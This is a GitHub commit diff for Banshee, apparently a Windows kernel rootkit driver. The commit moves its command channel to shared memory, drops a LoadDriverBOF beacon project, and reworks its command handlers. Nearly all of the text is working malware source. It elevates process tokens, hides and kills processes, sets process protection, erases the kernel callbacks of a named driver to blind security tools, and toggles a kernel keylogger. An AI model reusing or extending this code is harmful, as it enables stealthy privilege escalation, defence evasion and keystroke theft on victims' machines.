Skip to content

Commit d32da6d

Browse files
committed
Communication over shared memory. v0.1.0
1 parent 34dbb87 commit d32da6d

15 files changed

Lines changed: 529 additions & 593 deletions

Banshee.sln

Lines changed: 0 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -7,16 +7,6 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Banshee", "Banshee\Banshee.
77
EndProject
88
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BansheeClient", "BansheeClient\BansheeClient.vcxproj", "{8F2EACB8-BB52-4244-AB42-2E9D2BE51F7B}"
99
EndProject
10-
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "LoadDriverBOF", "LoadDriverBOF", "{08F773D8-5049-43C3-9A99-0465A8608F98}"
11-
ProjectSection(SolutionItems) = preProject
12-
LoadDriverBOF\beacon.h = LoadDriverBOF\beacon.h
13-
LoadDriverBOF\bofcompile.bat = LoadDriverBOF\bofcompile.bat
14-
LoadDriverBOF\LICENSE = LoadDriverBOF\LICENSE
15-
LoadDriverBOF\loaddriver.c = LoadDriverBOF\loaddriver.c
16-
LoadDriverBOF\loaddriver.cna = LoadDriverBOF\loaddriver.cna
17-
LoadDriverBOF\loaddriver.h = LoadDriverBOF\loaddriver.h
18-
EndProjectSection
19-
EndProject
2010
Global
2111
GlobalSection(SolutionConfigurationPlatforms) = preSolution
2212
Debug|ARM64 = Debug|ARM64

Banshee/AddressUtils.hpp

Lines changed: 7 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,11 @@
11
#pragma once
22

3+
enum ModuleName
4+
{
5+
NtOsKrnl = 0,
6+
Win32kBase = 1
7+
};
8+
39
#include <ntifs.h>
410
#include <wdf.h>
511
#include "Globals.hpp"
@@ -8,12 +14,6 @@
814
#include "DriverMeta.hpp"
915
#include "ProcessUtils.hpp"
1016

11-
enum ModuleName
12-
{
13-
NtOsKrnl = 0,
14-
Win32kBase = 1
15-
};
16-
1717
/**
1818
* Get offset to the access token from the EPROCESS structure, depending on the OS version.
1919
* Taken from https://github.com/Idov31/Nidhogg/blob/2776908e86c34771d0663e931b1930c64a9d4b15/Nidhogg/WindowsTypes.hpp
@@ -148,20 +148,7 @@ BeGetSystemRoutineAddress(const IN ModuleName& moduleName, IN CHAR* functionToRe
148148
if (inWin32kModule)
149149
{
150150
// Attach to winlogon
151-
PEPROCESS targetProc = 0;
152-
UNICODE_STRING processName;
153-
RtlInitUnicodeString(&processName, L"winlogon.exe");
154-
155-
HANDLE procId = BeGetPidFromProcessName(processName);
156-
LOG_MSG("Found winlogon PID: %i\n", procId);
157-
158-
if ((PsLookupProcessByProcessId(procId, &targetProc) != 0))
159-
{
160-
ObDereferenceObject(targetProc);
161-
return NULL;
162-
}
163-
164-
KeStackAttachProcess(targetProc, &apc);
151+
KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
165152
}
166153

167154
// Parse headers and export directory

Banshee/Banshee.vcxproj

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -94,6 +94,7 @@
9494
</ClCompile>
9595
<Link>
9696
<AdditionalOptions>/INTEGRITYCHECK %(AdditionalOptions)</AdditionalOptions>
97+
<AdditionalDependencies>Ksecdd.lib;%(AdditionalDependencies)</AdditionalDependencies>
9798
</Link>
9899
</ItemDefinitionGroup>
99100
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">

Banshee/Banshee.vcxproj.filters

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -32,9 +32,6 @@
3232
<ClInclude Include="Misc.hpp">
3333
<Filter>Header Files</Filter>
3434
</ClInclude>
35-
<ClInclude Include="IOCTLS.hpp">
36-
<Filter>Header Files</Filter>
37-
</ClInclude>
3835
<ClInclude Include="ProcessUtils.hpp">
3936
<Filter>Header Files</Filter>
4037
</ClInclude>
@@ -68,6 +65,9 @@
6865
<ClInclude Include="Keylogger.hpp">
6966
<Filter>Header Files</Filter>
7067
</ClInclude>
68+
<ClInclude Include="Commands.hpp">
69+
<Filter>Header Files</Filter>
70+
</ClInclude>
7171
</ItemGroup>
7272
<ItemGroup>
7373
<None Include="..\README.md" />

Banshee/CallbackUtils.hpp

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -258,6 +258,8 @@ BeEmptyCreateThreadNotifyRoutine(
258258
NTSTATUS
259259
BeReplaceKernelCallbacksOfDriver(PWCH targetDriverModuleName, CALLBACK_TYPE type)
260260
{
261+
LOG_MSG("Target: %S\n", targetDriverModuleName);
262+
261263
// get address for the kernel callback array
262264
auto arrayAddr = BeGetKernelCallbackArrayAddr(type);
263265
if (!arrayAddr)

Banshee/Commands.hpp

Lines changed: 21 additions & 159 deletions
Original file line numberDiff line numberDiff line change
@@ -15,54 +15,19 @@
1515
// --------------------------------------------------------------------------------------------------------
1616
// Command
1717

18-
enum COMMAND_TYPE
18+
enum COMMAND_TYPE
1919
{
20-
NONE,
21-
KILL_PROCESS,
22-
PROTECT_PROCESS,
23-
ELEVATE_TOKEN,
24-
HIDE_PROCESS,
25-
ENUM_PROCESS_CALLBACKS,
26-
ENUM_THREAD_CALLBACKS,
27-
ERASE_CALLBACKS,
28-
START_KEYLOGGER,
29-
GET_KEYLOG
20+
NONE = 0,
21+
KILL_PROCESS = 1,
22+
PROTECT_PROCESS = 2,
23+
ELEVATE_TOKEN = 3,
24+
HIDE_PROCESS = 4,
25+
ENUM_CALLBACKS = 5,
26+
ERASE_CALLBACKS = 6,
27+
START_KEYLOGGER = 7,
28+
UNLOAD = 8
3029
};
3130

32-
typedef struct _PROTECT_PROCESS_PAYLOAD {
33-
COMMAND_TYPE cmdType;
34-
ULONG pid;
35-
BYTE newProtectionLevel;
36-
} PROTECT_PROCESS_PAYLOAD;
37-
38-
typedef struct _EMPTY_PAYLOAD {
39-
COMMAND_TYPE cmdType;
40-
};
41-
42-
typedef struct _PID_PAYLOAD {
43-
COMMAND_TYPE cmdType;
44-
ULONG pid;
45-
};
46-
47-
typedef struct _DWORD_PAYLOAD {
48-
COMMAND_TYPE cmdType;
49-
DWORD dw;
50-
};
51-
52-
typedef struct _WSTR_PAYLOAD {
53-
COMMAND_TYPE cmdType;
54-
WCHAR charString[64];
55-
};
56-
57-
using KILL_PROCESS_PAYLOAD = _PID_PAYLOAD;
58-
using HIDE_PROCESS_PAYLOAD = _PID_PAYLOAD;
59-
using ELEVATE_PROCESS_PAYLOAD = _PID_PAYLOAD;
60-
using ERASE_CALLBACKS_PAYLOAD = _WSTR_PAYLOAD;
61-
using ENUM_PROCESS_CALLBACKS_PAYLOAD = _EMPTY_PAYLOAD;
62-
using ENUM_THREAD_CALLBACKS_PAYLOAD = _EMPTY_PAYLOAD;
63-
using START_KEYLOGGER_PAYLOAD = _DWORD_PAYLOAD;
64-
using GET_KEYLOG_PAYLOAD = _EMPTY_PAYLOAD;
65-
6631
// --------------------------------------------------------------------------------------------------------
6732

6833
typedef struct _CALLBACK_DATA {
@@ -78,82 +43,12 @@ NTSTATUS BeCmd_ProtectProcess(ULONG pid, BYTE newProcessProtection);
7843
NTSTATUS BeCmd_ElevateProcessAcessToken(HANDLE pid);
7944
NTSTATUS BeCmd_KillProcess(HANDLE pid);
8045
NTSTATUS BeCmd_HideProcess(HANDLE pid);
81-
NTSTATUS BeCmd_EnumerateCallbacks(CALLBACK_TYPE type);
82-
NTSTATUS BeCmd_EraseCallbacks(PWCHAR targetDriver);
46+
ktd::vector<KernelCallback, PagedPool> BeCmd_EnumerateCallbacks(CALLBACK_TYPE callbackType);
47+
NTSTATUS BeCmd_EraseCallbacks(PWCHAR targetDriver, CALLBACK_TYPE cbType);
8348
NTSTATUS BeCmd_StartKeylogger(BOOLEAN start);
8449

8550
// --------------------------------------------------------------------------------------------------------
8651

87-
/**
88-
* TODO
89-
*/
90-
NTSTATUS
91-
BeExecuteCommand(PVOID commandBuffer)
92-
{
93-
NTSTATUS status;
94-
95-
DWORD commandType = ((DWORD*)commandBuffer)[0];
96-
97-
switch (commandType)
98-
{
99-
case KILL_PROCESS:
100-
{
101-
ULONG targetPid = ((KILL_PROCESS_PAYLOAD*)commandBuffer)->pid;
102-
status = BeCmd_KillProcess(ULongToHandle(targetPid));
103-
}
104-
break;
105-
106-
case ELEVATE_TOKEN:
107-
{
108-
ULONG targetPid = ((ELEVATE_PROCESS_PAYLOAD*)commandBuffer)->pid;
109-
status = BeCmd_ElevateProcessAcessToken(ULongToHandle(targetPid));
110-
}
111-
break;
112-
113-
case PROTECT_PROCESS:
114-
{
115-
auto payload = ((PROTECT_PROCESS_PAYLOAD*)commandBuffer);
116-
status = BeCmd_ProtectProcess(payload->pid, payload->newProtectionLevel);
117-
}
118-
break;
119-
120-
case HIDE_PROCESS:
121-
{
122-
ULONG targetPid = ((HIDE_PROCESS_PAYLOAD*)commandBuffer)->pid;
123-
status = BeCmd_HideProcess(ULongToHandle(targetPid));
124-
}
125-
break;
126-
127-
case ENUM_PROCESS_CALLBACKS:
128-
{
129-
status = BeCmd_EnumerateCallbacks(CreateProcessNotifyRoutine);
130-
}
131-
break;
132-
133-
case ENUM_THREAD_CALLBACKS:
134-
{
135-
status = BeCmd_EnumerateCallbacks(CreateThreadNotifyRoutine);
136-
}
137-
break;
138-
139-
case ERASE_CALLBACKS:
140-
{
141-
PWCHAR targetDriver = ((ERASE_CALLBACKS_PAYLOAD*)commandBuffer)->charString;
142-
status = BeCmd_EraseCallbacks(targetDriver);
143-
}
144-
break;
145-
146-
case START_KEYLOGGER:
147-
{
148-
BOOLEAN start = (BOOLEAN)((START_KEYLOGGER_PAYLOAD*)commandBuffer)->dw;
149-
status = BeCmd_StartKeylogger(start);
150-
}
151-
break;
152-
}
153-
154-
return status;
155-
}
156-
15752
/**
15853
* Method for setting the protection of an arbitrary process by PID.
15954
*
@@ -170,7 +65,6 @@ BeCmd_ProtectProcess(ULONG pid, BYTE newProtectionLevel)
17065
PEPROCESS process = BeGetEprocessByPid(pid);
17166
if (process == NULL)
17267
{
173-
ObDereferenceObject(process);
17468
return STATUS_INVALID_PARAMETER_1;
17569
}
17670

@@ -297,63 +191,30 @@ BeCmd_HideProcess(HANDLE pid)
297191
* Enumerates kernel callbacks
298192
*
299193
* @param type Type of callback to resolve
300-
* @return NTSTATUS status code.
194+
* @returns ktd::vector<KernelCallback, PagedPool> Vector of callbacks
301195
*/
302-
NTSTATUS
196+
ktd::vector<KernelCallback, PagedPool>
303197
BeCmd_EnumerateCallbacks(CALLBACK_TYPE type)
304198
{
305199
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
306200
LOG_MSG("IOCTL enumerate callbacks\r\n");
307201

308-
// TODO
309-
/*
310-
__try
311-
{
312-
// find callbacks
313-
auto callbackVector = BeEnumerateKernelCallbacks(type);
314-
315-
// setup buffer
316-
ULONG dwDataSize = callbackVector.size() * sizeof(CALLBACK_DATA);
317-
318-
// write buffer to output buffer
319-
for (INT i = 0; i < callbackVector.size(); ++i)
320-
{
321-
RtlCopyMemory(&(pOutputBuffer[i].driverBase), &(callbackVector[i].driverBase), sizeof(UINT64));
322-
RtlCopyMemory(&(pOutputBuffer[i].offset), &(callbackVector[i].offset), sizeof(UINT64));
323-
if (!BeIsStringNull(callbackVector[i].driverName))
324-
{
325-
SIZE_T strLen = wcslen(callbackVector[i].driverName) + 1;
326-
DbgPrint("Size: %i of %ws\r\n", strLen, callbackVector[i].driverName);
327-
RtlCopyMemory(&(pOutputBuffer[i].driverName), callbackVector[i].driverName, strLen * sizeof(WCHAR));
328-
}
329-
}
330-
331-
LOG_MSG("Copied\r\n");
332-
333-
NtStatus = STATUS_SUCCESS;
334-
}
335-
}
336-
__except (EXCEPTION_EXECUTE_HANDLER)
337-
{
338-
NtStatus = GetExceptionCode();
339-
}
340-
*/
341-
342-
return NtStatus;
202+
return BeEnumerateKernelCallbacks(type);
343203
}
344204

345205
/**
346206
* Replaces all kernel callbacks of a specified driver with empty callbacks.
347-
*
207+
208+
* @param targetDriver Name of target driver
209+
* @param cbType type of callback to remove
348210
* @return NTSTATUS status code.
349211
*/
350212
NTSTATUS
351-
BeCmd_EraseCallbacks(PWCHAR targetDriver)
213+
BeCmd_EraseCallbacks(PWCHAR targetDriver, CALLBACK_TYPE cbType)
352214
{
353215
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
354216

355-
// TODO: also get type of callback. for now hardcoded to createprocess callbacks
356-
NtStatus = BeReplaceKernelCallbacksOfDriver(targetDriver, CreateProcessNotifyRoutine);
217+
NtStatus = BeReplaceKernelCallbacksOfDriver(targetDriver, cbType);
357218

358219
return NtStatus;
359220
}
@@ -368,6 +229,7 @@ NTSTATUS
368229
BeCmd_StartKeylogger(BOOLEAN start)
369230
{
370231
BeGlobals::logKeys = start;
232+
LOG_MSG("Log keys: %d\n", start);
371233

372234
return STATUS_SUCCESS;
373235
}

0 commit comments

Comments
 (0)